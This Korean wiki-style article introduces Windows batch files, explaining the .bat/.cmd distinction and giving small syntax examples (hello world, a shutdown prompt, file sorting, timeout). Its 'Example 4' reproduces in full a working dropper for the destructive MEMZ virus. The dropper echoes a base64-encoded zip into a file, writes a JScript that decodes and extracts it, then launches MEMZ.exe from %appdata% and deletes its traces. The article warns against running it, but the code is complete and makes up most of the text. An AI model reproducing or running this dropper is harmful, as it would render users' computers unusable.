최근 수정 시각 : 2024-07-27 13:15:25

배치 파일

batch에서 넘어옴
1. 개요2. 문법 예시
2.1. 예시 12.2. 예시 22.3. 예시 32.4. 예시 5
3. 악용

1. 개요

배치 파일(Batch File)[1]은 마이크로소프트사의 DOS 운영체제인 MS-DOS에서 명령어을 입력하기 번거롭거나 입력하는 데 익숙하지 않은 사용자를 위해 명령어를 한번에 적어놓고 실행하는 명령어 스크립트이다. .bat 혹은 .cmd 형식의 확장자 파일을 직접 실행하거나 명령 프롬프트에서 배치 파일의 이름으로 실행할 수도 있다.

한편 잘 모르는 사람들에게 bat와 cmd는 확장자만 다르고 나머지는 똑같다 여겨지지만, 완전히 같은 것은 아니다. 전체적으로는 같은 배치 파일이지만 bat 파일은 MS-DOS윈도우 9x 환경에서 실행하고, cmd 파일은 윈도우 NT 이후의 환경에서만 실행하라고 나눠둔 것이다. 이는 운영체제의 변화로 인해 NT 이전의 명령어가 NT 이후로 넘어가면, 같은 이름을 가진 명령어임에도 다른 기능을 하는 경우가 있고, 거기에 더해서 NT 이전의 환경에서는 없던 새로운 기능이 나왔기 때문이다. 이런 상황에서 파일 확장자가 bat로 동일하게 되면 사용자 입장에서는 혼동을 일으키고 잘못된 사용을 유발하여 여러가지 문제를 겪을 수 있다. 이런 문제를 방지하고자 NT 이후에서만 실행되는 확장자를 새로 만들어 문제를 해결하게 되는데, 이 과정에서 cmd 확장자가 탄생했다. 물론 bat 파일이 윈도우 10 같은 데서 작동이 안되는 건 아니고 여전히 잘 작동하며, 전문가라면 몰라도 윈도우 9x 환경을 사용할 일이 거의 없는 일반 사용자들은 cmd 파일을 신경쓰지 말고 그냥 bat 파일을 사용해도 된다.

배치 파일은 MS-DOS 시절부터 나온 오래된 개념이지만, 윈도우 10에 이른 현재에도 강력한 기능을 이용해 다방면에서 굉장히 유용하게 사용된다. 특히 서버 분야에서 상당히 폭 넓은 활용도를 가지는데, DB 관리와 백업 등에서도 상당히 많이 사용된다. 또한 윈도우 스케쥴러 등을 이용해 다소 반복적이고 귀찮은 업무를 자동화하는 데 많이 사용된다.[2][3] 이런 전문적인 업무 외에도 많은 게임들에서 서버 운영을 하는 것에 배치 파일을 많이 사용하고[4] 게임 실행 등에도 사용된다. 컴퓨터에 다소 전문적인 일들을 하는 전문직 종사자가 아닌 일반 사용자들은 딱히 사용하지 않아도 되므로 의외로 과소평가되는 파일이기도 하다.

이 외에도 윈도우가 오류를 일으켜 기능상의 문제를 겪을 때에도 오류를 수정하는 내용을 넣은 배치 파일을 만들어서 실행 한 번 만으로 다양한 오류를 수정하는 파일을 만들어 두고두고 써먹을 수도 있다.[5] 구글링을 좀 해보면 심각한 윈도우 오류도 수정해주는 픽스 배치 파일들을 많이 볼 수 있다. Malware Zero의 실행 파일 역시 배치 파일로 되어있다.

또한 한 번의 파일 실행으로 다수의 명령어를 처리하여 많은 행동을 할 수 있다는 점에서 매크로와도 비슷하다. 물론 매크로가 GUI 등의 이유로 사용하기는 편하겠지만, 기능적으로는 배치 파일이 훨씬 뛰어나다.

2. 문법 예시

2.1. 예시 1

@echo off
echo Hello, world!
pause>nul

"Hello, World!"를 출력하려면 위와 같이 코딩하면 된다.

2.2. 예시 2

@echo off
echo 컴퓨터를 지금 끌까요? (예/아니요)
set /p "shutdown=>"
if %shutdown%== "예" goto shutdown
if not "%shutdown%" == "예" goto not
:not
echo 거부하셨습니다.
pause>nul
exit
:shutdown
shutdown -s -t 0
echo 컴퓨터를 종료합니다.
pause>nul
exit

컴퓨터가 사용자에게 컴퓨터를 끌것인가를 물어보고, 만약 대답이 "예" 라면 종료한다. 만약 대답이 "예"가 아니면 배치 파일을 종료한다. 참고로 이 배치 파일은 MS-DOS에서는 작동하지 않는다.

2.3. 예시 3

for %%i in (*.*) do if not "%~nx0"=="%%~nxi" (
if not exist "%%~xi\" md "%%~xi"
move "%%i" "%%~xi"
)

파일을 확장자별로 분류해서 폴더에 넣어주는 배치 파일. 배치 파일의 for에 익숙하다면[6] 명령 프롬프트에서 한 줄로 처리해버릴 수도 있다.
===# 예시 4 (MEMZ 바이러스) #===
MEMZ 바이러스의 인코딩이다.
해당 문서를 보면 알겠지만
컴퓨터를 아예 못 쓰게 만들어 버리는 수준의 바이러스이므로, 함부로 실행하지 말자.
@echo off

echo UEsDBBQAAAAIAHV36kiQ6IfZcyEAAAA6AAAIAAAATUVNWi5leGXtew10U8e17kg6soUtjACbGGzi>x
echo AxgMyD9Hlm1sY4JkW2AH/wjLP5BgB9k6RhKSjqIfbKcJyBgaqw65tM1NIJckNE1705Tcpi3JJWma>>x
echo OD830Da0TptFSQOpXx7NFSnhmYRbnIRw3jfnyMZpfmCt99b7WauzvM+c2TOz95699+zZIw71t+wl>>x
echo KkIIAxBFQo4QuZjItctJQErWcynk8LTjC44o6o4vaHa6gqw/IGwJ2L1sl93nE0JsJ88Gwj7W5WOr>>x
echo G22sV3Dw+dOnJ2XHaTxj9pZ/yKpcE/Dphr2uz6R3pet3qDdvT3BekurLro+kWuGkdZOry0nHf5Vs>>x
echo VgshdQo1eXHNzrYJ3ChRKpIVKYRo0Vgu4/Jm4aEDsPFV03clIWqikPonahKJK0nqNu2WBtKxk/Vk>>x
echo JZXDKwk5SF82ExJTfImAfogBPnvLCSm9Dl1PFsip+zJ68ZIf4ntDdHnJcYG0V+WeQmJzfsBhD9kJ>>x
echo eXmBjCAL/24BRNKGKV8eRu6jPK1E0g0p/MK44fxAMNBF4mvdHB9X9CX0ArxH6JLXTnUgyVbyhXGV>>x
echo X73Cf5T/naVl6NzAXVpdaDqec0KJ7eLiU6yJxBLQZRxuf1lHWtvcqR1Gsa2tzXlFZyJO6iRtYpoD>>x
echo o9wOMc2EeuC8Ivzn2zrOTtA7l2lrbXPuKjMRMa0I/UPFEfocd94DVJt4wnmQ1kMnxRNGcWhs99uh>>x
echo hbv/Frpxj0W0trkV7tniH/ZYLlrdCZQlvHJYPDHw6tI9lnGre6mY5gElq5hGUO2xxKzOwxLJNA3a>>x
echo GL/Hcuao5Yzkqm1iePyoZYy6mZjGoNuZiK3sThDTRtG4rePWob+0v9Iqpm2mBN3E+cZcLEgNygsw>>x
echo VIdFOitWQOixWME0qOL3l4pHlmM9Rf98zIpxIPk65mH6MVTG4Y6XGbry/nMV4GdrNb7dFm2/+Au6>>x
echo B2xuk5jWi0E2a9QyFpc/9gRoOmMqKhpVoJu4lbFdwA2NH9396meimIuZe6Q3a1vsdtrRPmb8m/j0>>x
echo 68BAVrppxDQ/XRTl4TZFLZdlLlLbKoYvRy3jsWpMhBZsYlouunYPhxVr0COmLUULeDEtRLU4wUaH>>x
echo 0RjzYJs8YGX44l3q2BX0RcMX3Ulnm0RRlIzrsLUOFY/QZb/dZhNPuBXf37Ue9E58f3A9tcllWKdC>>x
echo NtJe6ht3XVbMuPcvMIkzG/oU/YyYxknSzNg9CNvYbDbnzTOhHpvsU3ssjx+1PM6h54VSjD9qeYrA>>x
echo 66zR8Ei0/VC0/XC0/Ui0/flo+3C0/dVo+7Fo++vR9jfFtJNUwyhuh9tB61aQe1Nyvct4/jV1j+Uk>>x
echo BIpJDOjbGXm81Dixe3jHnzFVhT8nGA87HZLr3knnn4y2jw98KoY1bqWY5pQ0TN0oblTqv2WrYstM>>x
echo ZFv6c+nwnKHf6k98i0laO6gwr5TwgQvGX5VNP0dHzPlWf81CExnclXIF6jCvlLCB992EurtEttU2>>x
echo ND+bGucPMATjVv31HphpaJVkrz/C7hFI51bCW+Jy9l6Vc2zgihhOdDNnW0XqIpSkWPw6XNY5tow6>>x
echo KqWY6FafXYHuVhBLMr5tk+Y7TxXK2t8HMmXzTwE19OnQfOqW25a+wFHTbmPEPxiHrdZWp34ebGGV>>x
echo LbV24DXNylV0fOC0U5cDV/vDXy8NFdN98SLdOu6iNmcNavjIwHiCbG2KGy2dwIV7nTTWTyjTSc+h>>x
echo oTFqulK6KdS3uZNskte0Uvnuo970PxTh9/dYDhy1HKigmzwaPgQP2VBGHeUgSJFo+2PR9sclP3n+>>x
echo qOVIkrT7D1DiVHdiGK5STU1/tuCK5M7r17uToE8Sq1XLu1y3QNrlBLvcOVomb3WqmdhSDNj/7DFQ>>x
echo ufRxtOXy25bLp9vHT1vG37Zo5JdTxRvKTeSUmqPPVRHp3YnnOy/FDmIuDTcSQ8RGGszEtKeo3Sza>>x
echo Z/dpQPnSx3v8ytgrDH29MvRJ7Nn424exn+DNrdp/66VPb57xkz+qWi43xQ5InbR9QtUy3iSmHaL6>>x
echo Um6IRzVpm+pasZEPS3EXL+ckH9ljGUNcTHtMYnzZ+Cu95aJTQ4xk/fpW65BlXI9uvIpp6TS2YeCr>>x
echo UpAH2UnhqRtYnffNjR8EcVeIJVMZb9y/8atUM33pFNUMSu+bZdXsZmTVwLsr5lJvPizHjiOUdeGG>>x
echo V3AgkNghlWycVNk4R6x0oAaN2HfQ406ljPcwM+WFZ9smV37SFm0fkxePCLnHcspqk1cfuwXzhurP>>x
echo DLx0YD+V+WKsVkLEJhDjsdKpI4b+FFs6dQAMlK6i/rBBSf0BVpo2pelkyeukzTbUftnW1EoDbfii>>x
echo TVaqTQyPyWqVdHPutOXcqeKaKbrxS++leMa2guJUg2bGT7bYwzTkL98IMdyZOPAGXuasbkV3tCUm>>x
echo pl2ka9uupKLsVVBR9uzMVUz63sC59C91ithVp7g4VD8miW9dT7dF68DwAese8wGru9BdCMfInOIY>>x
echo Uxz/iysw0RX8SElXMMk8deLgaHMniyf2618eGndr3xDl17E3rsRtL51lkmgnpSgm7ROnYgeR9uIw>>x
echo HUJ99TU8L+qPDq0aoxib+MfYN7FSCDU0NqHYXgjxVuzUS6fVVupsH8Ld5kCkoWNDr0F5u38fXu5U>>x
echo gWxTnGrMoqDbahU9x5pipXKDnm1NoG6TTs5X/36ftU5GsGb5HHe4lQhhUihzT8exIaaNS6ddKKM1>>x
echo xoHkRnlMKyrtZDc0u0HKI0wd7S9ryFdlJRzNSmI0Zo9JkWkIvvT4l6QhA3dpVG1Dd+nCZbahrEtV>>x
echo EMUUCeW2xnh4z9B0uiL9utT9kts2SahBCaWjnh/MjNrSO25F9kTFoxp/nqZL7S9rKWWkNn9rG3pn>>x
echo 6MrQaw04ULRDFg1yAN3GjUNjVe6ktXI289d3aaj43j3rpZxjsRMKGnMrEDYoRkzTyrmIxq2QD1Rp>>x
echo 4J76y+vdDIytk2PTYhxTOyaiTutQWIM1bqIHwLhiu9X4+xpb29A4HGXoT7vF7XO7h5jtM/5d29Ed>>x
echo ZTqquqPa7Y0r/3zn+6Cye3j7AnfSbe7pG7vLKlrDuu6yulZleBqGtHZH72xVVq4cufMvt90quejb>>x
echo m7IvD1VnX35FXFxDz9vFddLTKj0HWdP/iWT8/0I5bCLkGGAUMA7QmWX8d/B+wCS/n19FyCcAzU2E>>x
echo pAJYAAdYA3gP+G7UdwDuBzwOeA5wDHACMIL+YcDPAA8D9gJ2AbYBNqDfsUrmcSDO14raBOAA3XGc>>x
echo EnLMAlAjcAAToBlAPesOwN9WE/IYYCfAB9gEqAGUAJYAZgGugFcM9SnACOA5wBhwe1fLPHbFeeUD>>x
echo 6O8hvxhNvPeVe98+wiifVZJnyC8IOT7bMBx9JfpS9OUXCHmRmA71X3k4MVhcEQmqzupI9o7Blw49>>x
echo ceVXkY/F8KWz74qDrx6KvnIo+mH0nf7XiGmij4QvRU+cfVV86pn3qo6odD8nx3UvQpbhh54lR+59>>x
echo 6Qghz44kfvTjFw48AuwZu1b1nv3niqbD33wWY8jm42m39F+JPXIXc+jw2I+v/CbyKQn/99boiSej>>x
echo L0XOZL1XOTj6XuXwB+rhvygH/xr9sKP/k4sPhV95gZhA6ggWc/IIWAxf+c1Zljx16olDT/RfGX4o>>x
echo VNkvHpwRUp09J1IuijgXzOj/5MAjYdVzFx+S+Rz/Ih+Jydmfi+Bw9iWRtDwxMBNFus9rpF8SWFKc>>x
echo PHDhwswLhKwj9zMRkTQ2kkcayfu2nVkXshSVDaTBqpyVNaBDUVoZpVUT0SkNWQOpKMoIM1CNohxk>>x
echo lJGUu00p589/gKJ8lFH+QL3z/PkU5eYblYOagTUoypOMciTlHnL+g9OnTqMcx5/yI2bg9AfnifLn>>x
echo 8we6UVQso2I1qoUp/eS88lO1yswMjCQmjig/ZnadJ7rEROXP5g34UFR+ZuA8iqqXUfk1u0liIhk9>>x
echo r7pJ808gSnp6ehJHRkZGE/GiUs5T9WoG3kdRHWNUw5rdScTfk0hU96qVnzD9p0ZUjzKRHtX7jOo8>>x
echo o2qZN/AECqNjGJ2GmZNEx/ohyMeJqn3qyBhTykT8zEq16odzB76PwmxmBowojJNhNk8fUJHz7ygv>>x
echo MKr7E/t7/MxqhrmHYdbMY5yau8tQPgYwT2kfLOMg6fl35JLih6hy6fErVP86d2A/ipow/fsfUTMJ>>x
echo ajJtEG0syE8UqkFmQIGiXpCg1qtV6oyBb6OorYy6RqfexKhzGLVbrd6YqPYmKo7sI49cSNgfVB/6>>x
echo buKOhMQd63ZemJml/rGoeeIXSuvHqhq1qkEdmamyZar86bvOj0Ig1R6tap+mf5SoHp2vGk5nqpn+>>x
echo 0VHVO0mR06pYDjNz3oAfojL5ScyKpczmzIiKuSuZuXspMzyd+aUuUsb8Npk5maPWabUjWvUNGjWb>>x
echo rF6+WN2ZELmgbktT356oDsxU71yuflJM+KmY+PS/9c+cqfhOIzn1dMrlA2Rdc9LGtFmLk3bpUlBm>>x
echo mZhZJk1Sf1ZkZtKP0maFpw0QuJSWUUdOJT/NJB1XJ71h1io0O0+PjMzaz8z6HpNUkJFcq5utS0nu>>x
echo 0Mx6kImQZA+jakxIDmck75+RvG/G7Hz1rAfV2rZE7U/VyaFMRjdv58GDB1WnmdkDCZHjs6PqyA6t>>x
echo g5n9doLWmaXlZiYHGCZXPbswOdIz+9vqSGIqGrF0bTQttYUZVKEYIc87s95NjEzXOtT9fj+jh/9o>>x
echo n56nTknRnp65K3EUJXWYuRsVnMfvT32dOs1fMvovZM38nVptvSFCUt9kdirQU5qYNludNjsJepnx>>x
echo 7n/OeOu76kPinEUHb/gBo0mv16TeOosVZ2c92Z+YOPu3Nw8chIekZtbtUvn9KmOqtyj10cz+vYmp>>x
echo LxrUtfPTUsT0B0RN2n2pY4kgNidPZHfVJVlv7K82zdNxSQfZeZtv6R8ZWViqTl7ALLiQkWyam1Gb>>x
echo tLAoISMpsf/0+dR0RvVDQ/9ooirKJD+ZkPG9hIxblmTsSO9PSsp8lMl4KDnjRznaggUL30jOuJyt>>x
echo 3XFjhMu8KSmzNidTyIzsXZSekPndfLU1A0Lo3hqPXFhirScPr9154ULWkkcb4HMJo+KCZ/6gqlUv>>x
echo vFetshUnb0hZ9B8a1cPlyY8nL09Sq2Lm5I81i25PZipMi57XMfdwiy5nZt+g1v7bwkhWtml+pCe7>>x
echo Q/vNUTnmay8yy7QZ2XvZ3G+oc7eqs388g5SKeXN35IoNOSv2LXnoQSx+8X/dkiWYklhu7tiNEV2S>>x
echo YJhnYpVjkXmj6dMVTGTzvM+mqe5fnsGlR1JUb92dMZJuvFnN3GVMtc41/gvDHF/GfS9J+0aWOmvx>>x
echo jdHZuZvT1J4czSyRM36W+IKYN0/Mn/tdQ0lyZMxQ8UHy3Jx5o3P7N2+e92lycvfywoPpyY8PGk2Z>>x
echo 2roi4975EaP24azi0dnaEWt2dP70VfNnvCUmPC/OGBR1u8Qlzb9eMPzrec8tWfjUsoxpOctH0itv>>x
echo Tpi9fafen56aXqofnrtrGkpZ5k2Nqb80qq2Z2T9Ki1xIWyjOWS/eYBXT68WSO39vJqJZfDLjQFHl>>x
echo aHqEyzi7oopL3zXN759WVlVvzdxjrBqZX3VeS62Q/VzjmpY3blwpKm5dQZ1jmdjIReaO/Xrht5bM>>x
echo G1228K2ccv8Ni26IrtSxi4Y5496s7Bn96/ZnrPslU61Qm3YlrHu9psA6svrdh0z9TIFCpHv4E9Ea>>x
echo Obt8Y045u2T5D5eX+xct/+iupkiu0bMysropptPHcmxZcyIf36pkcpcX2wQIf6tFHbmQ+w2D5max>>x
echo be8Dm95obF/YePf2nFk5dWuOVLcPq+9dciS7KPvFRUXZZPGR6ro17cOa9jfVB4GLLnpxURT4ujUP>>x
echo WbbnbM/x147lOJf6l/ldzpqxte1XEu52Lt2eU7fkocUds5gOHdORwuz2L9u+tm5NxxztwBhmdCRp>>x
echo +sfWdqRoOtYwHRXqXTX+WmdN+8Xu3f7a/bll+o7hhI4nEgb8y2bltB9L6PfXdrym6d+f2/Em0/EM>>x
echo c/f+3E/zs/PRHE7peF1zG2E6/sZgLFl+mzah4/fafnJzx7DneWfNRiEcYLsErz8c4gOs0x5kO3ne>>x
echo x4YC9qCTd7CdfWzIybP1lvpbgBPcdl8+2yD0sLzPLdz2fMK3GvrsPrbKHsrPzy/A3eNgIu4fjS1N>>x
echo bFVjvbWl2dLE1phtbKXF0sCuaalaZ6lmKzeyzTUWmWBzU+PN5ob86UnTkz4vRo/gywmxnYIQYsN+>>x
echo 1r7F7vLlTk8KCmw4yLOuEAspPYJvC637hDD9Z6AFlEh5NX02B/pc6AsJ7FaXxyNz6qFvXXY6vY9y>>x
echo CvYFQ7yXjunkpyc5+CDW1oflunzBkN0X8vTlsuDmkMQIBfooz/Jq7OM/AeYBnKGQv7ygYIsgbPHw>>x
echo +V1CftfWgiBvD3Q5V9++qhPk9D32Pn1I0FMR9JRlkPd0X2OeU+jRF+oDvFfYxuvt+m2uQDh4LV7e>>x
echo Lns3z+u3BfU+IRASfNcaT3lArCDvc0ywoG1vn7474ALymvxcPr4rYO8O6Z32Xr1D6PF5BLsDzCfF>>x
echo vS7+W/iQ3iv4+L5r6lLw3eHSd4Ydjr6r3LoDPH9duuwM9+l7eN5BrleuLsExqXq9y4eXYNju0Xfa>>x
echo g66uifvM19Lpcdqpavx+3gcC3dT0egfv4UO8XvY5Y+E1aWwxhvQB49bQNXVjD3U547JO6OZac6TR>>x
echo +XzvtfTn8mEf+mAlvtfvEQJ8QO+Cozh5veTcnQGhJ8gHrkMf3fYuHvt4K3TStRXbEkoWPJIBv+g8>>x
echo +h4hII0p5Awl17MO2NflcUA2D7/FFfo81eu0d4C3wzR0g+oxUR+w+4KCt8ceuB7/wvz4ZvXy3jv0>>x
echo cni8zn2ADTcR7ahmHQJddw/vCjigZbxDGaFu2iP7ElzR77kDDY//6+k67L6tkjjXJ/+kDeQp15hj>>x
echo 93TrPa5uXm/Ewj28PQh1Q33XmodVIAqGETrsIRdm2j3X9hsEh5B9C6/32wMCtr7XLjlG/N/9ZQf5>>x
echo 2vnUVSWrwJRxll87nob9rQgx0tNr78Nf8Hr2u1tw+vRdvM+u97ocrrgj+oQQrOvbxgdCiD3X8GMf>>x
echo H7SHuyRpeczyePiukIsG8q+Xd2sAOuV79cEuHDQCji04ErzP5wKpoD/gCvFBSaRJOvDsHj4QzPe6>>x
echo ugJCUOgOgaS3gPflhYMF0GsIbAu6hUDYO9G6TYASA3kTrSD92AJGKKBqzfPaPXSXSM6eJ3t+HnVo>>x
echo Guk8fXnxE5UOLywp7ewydBXmGcu6i/KKCrtL88o4NIvLVthLVhg7SzqLiqfq2Sux7RTsAUf+NqxG>>x
echo EhMWdBT00HiXh+0RnGCfFwoHfHn2vImtlIewJaDtcMEMdk+ek/d4ILefn0Lf77H35Xd5wp3YVlvC>>x
echo Lh+lP9nXJfhDLq/rDj6AZUs9k/OoygSoV8J22T3SeQBL834Emy6vg/RQpQMX4LfwDleITEROOi5k>>x
echo D271bgkQbxB+0e3aQnHeoB95TYg4+G3eLd5QPvoIeqE3D/F6u2gexa6rratD0lS/MZ4rIc2h2RdN>>x
echo erB8dosQz3QcLp7+rESaLLZmtraBtdbabLnsmsYmSytysHq08kkt22ZuagA1EEa6RmrMNWa2geMq>>x
echo 2bpCK7vW2Mw2Gdc1I38D8W67y4N0yB6S0yWD0biCdRb1csicaEZzB2VG5WtuqgVBWyPSvKZq1txQ>>x
echo za5tbKbtNeamXLayRRKG5nuWhupcVsoMrVWQw8bamrG0eFK4ALKgbsLqLA03N25kK7FSstbSjMyx>>x
echo WU4iN7ANlg3NbHNtvYXtrcb4Vgsmg3bTxtqGtWxzI0uXjvXKTKrNzWaasd25qeBOI33g1K20NVZD>>x
echo HGSmmAH5W2ubWmystcncsI5duraxwcK2NTU2rF1G9SiLQQVv2GhuYKvM0MtaPsTS+MAiQXRJjs96>>x
echo yxbI+qLGQCKM/SaEsAoo9gt/ZFG9fStfLzvuWnrumGleS4itsd5S2Vi9kW1sqLJgJXWwt+VqkmzG>>x
echo miBdg5ltaoTG6i0TeUibsw92d0jOwG+TcnYXbDY1710dT6yhc1eQ7Q53baVG9fUhOc0nNr4rHOAr>>x
echo aZIdRE+Q2nRLoJT1lrIuFnVpQSmpsW+TMuYJ2thu1OOQDgvd3aDkYAWfnJ+vJhW1PuQEIfZmgfew>>x
echo t4exM1hsZP4mKivWy4fosUbFs0O6tWaXmUUk6URIWhBfDzZrLku3rEDvHAE+n62Np+CdvMeFJbI9>>x
echo fA6e0gUF+9PPBzxIzemOcSCCOjA+x8tW0oyRksyRPhXDH2YG+qRTFQR7YD36pZi3b/K6kTM9ic2j>>x
echo phWErpCBlbMPzG9x5rJVCBSsNR4p2GaXl6crQPrKdiIc8o4FXz7ZJuV6NXaaUMvv68MIiVJcl9uW>>x
echo 3i6P3WuXUaSA9BA7CZEu4iQOIhAaIJBgE2rECXs34x5GgxD1H8km7nAwxCKV68IiHHShiB5BF/Ih>>x
echo tOIBEncrSQvxpnwPctoDXnlfT164qCVxxvJBatqwLxy0d3ro5NruyVgT5Hkp2Ejk+GAQpzPIhZxC>>x
echo OMRu9Qk9tJNmv18UDXcpF06GPtgM83B9lNghdEomiYtEs5yrDClBmVpoqvgOARLSybQRDtLpdjaI>>x
echo GxDuo9iRgs/Lw7owEE6/UG6c30Ze8jqc8HBOV0i6blY30jiBQNTQTGOHZYOlCrdVbLpaG1tvrkOg>>x
echo tOTSiNJS10zDC4IYokBLQ4vNXFmHfWmuqqltsMR/15cm4Y/u2Doz4i8Ns5glXUkpsqrJYkZoomMa>>x
echo EB1B1trYYKullBChQXkj4lW9eS0lXG1hW2xSRJsiCijJ4XJCztrm1dRnvPAZF6H+s2lT/iarsw+3>>x
echo FLunOuDaxnPA0cMpPyR9q+cLOTw062oKecwOahwrBiHEb8GB1RBqsruCfA0OXEsgIEjnlY3wACcJ>>x
echo wyepP/aAi5UEwG0bwIPeLYSedfTrB+xDKgKwAvFIc0PSGA9hMT8oSbgF7yHQc6HNwssFyO6XqPOg>>x
echo uppcLcPxxli81pjkWhevU+N1drzOj9dF8XpjvHbJtWmHXPsfiLcfkeqJbzanA84BjpUD4t9rTvSl>>x
echo kM+XtVXNdfRfHeh3j9I3kNlead0T30vmu+iHjNlSMqNDADoyF7j4N5CUPuUjt7PvuOMORyfd4/Qb>>x
echo znvI5FzpbmiqwCqv4oySj1V8jof01SP9d60OZhInf+FoJWQXHRf/pnLXevmTy/zOoJzObpY/nZS+>>x
echo pczmDBIKiEHFJE6Sobfi6rrfRQTPxhrHp+C+CS0+BpxnCu4J4NJZWdaJstAs6+fMFFwvcHuB27Tq>>x
echo Ku47wGmgs1NTxh0BbpAlX1r+8W+KMo+Jf1O0KJGdWANCl9nhoEGPkGpVnYBgYPZI38LWyK019IeT>>x
echo iKoRO5YOpgOHFZhZFQ4EEDkncHMVll7XZOtpUiXdkpudNAsn5D+mzJBxtcD+jLF5eN5PFqvbaB68>>x
echo BsGFNJEqj0Aji8+BllntwaWgy+uHzJUT79hpFZDN7qhzdQbsgT70pdK11ONI90hUGuxeHqPulrgK>>x
echo Xi+I1eHS1EYG43LRQWZyF2OjGnAJ4N5X5bFTHbwwIbkgeJBX+I2FNp/dH3QKCIn3q+LrMxaucQWC>>x
echo oTay7yqmAbsbPH+uXOsROieU+Fy8JSmRNEgr8PA+jEPq2mCpMxbmS0G2nUpaL5+QbeSyspn+qOCB>>x
echo GHEcIT8h1S4k/7jNTA4j/0WozttcPlzJg5ZecoBU891yk4qFEXXKJtwu6UVPWp6F7iNvfIXyQIra>>x
echo TrnLKUY9j6ytC3pIUcb5VAoY8TslNBVnVCMIWy29IK5q8Tnx/jk0+QZG+hzxuTT3wVnfRrZJ2Fof>>x
echo MgdylFQH7D21XTSJ+Q7lLBOoriI8pJV+IsD7gas9TbhKkrQp8rSRb1F54E9BIWAVIC0b96+J9iLa>>x
echo ruaDW0OCXyZCyJ+JxRf2VjldHkdcZEIySRUyS2q6uPjkAwX1LCpdG2mxWZomLDSbVLpClZ4QtbAt>>x
echo FOBhCKm1tro2PuSSYsoeaRa20hMui8hHp9ScPD+D5AFwEbaG/ZOoVrsnDJP+FLbp84fMXbeHXQG+>>x
echo Cjc72atekvFreV8TfJleMc3VrWbrBGtyo8JGk2CLnD2ZycLPtdtIApmyDZoFc2DLNlBd8LlR1Ka2>>x
echo GkvdhFNqiBXXXpsQ9jngNW21DfX1En42iccNLLPWC4tM7DiMstogVH51Xd2Xh+DrLm8uNxGt3kRM>>x
echo AD/gKcAYgM01kQ2AQcAIIDXPRCoAfsA+wCigFMd7L+AIYBxgLUAbcAhwBpCOwLoBMAgYpkHWgDmA>>x
echo CGBpIfCAxwDDgDcB9EvUM4AYYAwwDmCMkA+QDmABuYAiwMUS0FthIroV8oFSCpwHMAjYB3gKcBKQ>>x
echo jdSjFNAMuBMwCNgHOAw4BhgFaIpBG7ABsA9wCPA8IAZgwGcpoBdwBHAZKQ4Xxt5Ok+sf3IC5DYQc>>x
echo nIP1vwJ9xvHL58j47nTImIOzEm3TAULOYvzm9wk5jva+cjLxv0v+HykKko5nuvy/XT6Hp3JyX4Kf>>x
echo hhynhlzNU/6+VKzu9XpY3PGCuEutyjHkczm4DnQJDlwPVuW0NK/JK82h2b/PYfcIPn5VTh8fzFl9>>x
echo 0/SkCkRR3EBxMQEBX3BVDm635cEuJ++1B/MmfyajPy6V24Pe/G2GHFxEfK5u3C1ap3IDKZatCAUQ>>x
echo G2p93UKc2sJrUDMulOZhZpBexHFqxdvABPjb6XWRd1wNM5OdU7vl3Q5B6nDH9bAe+lyVQ7sRccwO>>x
echo r8uH8yJgDwmBHDbsMnfRbb4qp9vuCfI5bMFVfgVfzbCi4HPiVRRMrpNqsGBChWh8pcmRgG6A3WZx>>x
echo uVwpZ+Ju4TZz3ZyXC3NPcf/ODXNHufe4jziFYZphpiHDsNxgMJQZTAbe4Df0G35h+I3hPcNFw2eG>>x
echo tMIVhdWF6wpbCjcVbi0MFe4qvKfwXwofLTxa+Hbhfyv8oPBSYZoxw5hnLDdWG9cZNxm7jT7jncZv>>x
echo Gx8z/tL4ivG08V3jZ0ZlUVKRrii9KKsov6ikyFS0vqi1qKMoUHR30f1F3yt6oujVojNFHxbpim8o>>x
echo zizOLq4rbireUNxR/I3i14rfKf7P4ovFaSXzS4pLzCVbSrwlwZK+kqGSb5fsK3my5HDJcyUnS86U>>x
echo fFjiXhFaMbAiuuKfVvzzit+u+GjF5RXTSvNLS0otpetK15e2lfpL95Q+UPr90qdKXy49VfpeaULZ>>x
echo 7DK2LL+stqyzrL9ssOyBskfK/rXsp2XPlA2XHS37sExdvrC8sfyWck95oHx7+UD53vIfl6eunLeS>>x
echo XblkJc31D1P9cgyn4bScjkvl0rlMjuWyuaXQNccVQd8V0Hg1V8PVcVaumdvAbYL2HZyT83B+LsT1>>x
echo cndyEW4XN8jdw+3l7uP2cQe4g9xj3OPcIVjnMHeEex4WOsa9zo1wb3InuVPcKHeGi3HnuDHuIjfO>>x
echo XeaIgTFoDFqDzpBqSDdkGlhDtmGpIdfAGRCHDTUGq2GDYbPBCWv2Gv4XwsY/yv+35X8CUEsBAhQA>>x
echo FAAAAAgAdXfqSJDoh9lzIQAAADoAAAgAAAAAAAAAAAAAAP+BAAAAAE1FTVouZXhlUEsFBgAAAAAB>>x
echo AAEANgAAAJkhAAAAAA==>>x

echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js

set v="%appdata%\MEMZ.exe"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL
start "" %v%

x라는 이름의 파일에 base64로 인코딩된 문자열을 넣고, 디코딩 한뒤에 실행하는 방식이다.

2.4. 예시 5

@echo off
timeout 1
echo 1초 지남

n초를 기다리는 timeout 명령어이다.
"n초 기다리는 중.." 이렇게 표시된다.
표시되지 않게 하려면
@echo off
timeout 1 > nul
echo 표시되지 않았지만 1초 지남

이렇게 해야 한다.

3. 악용

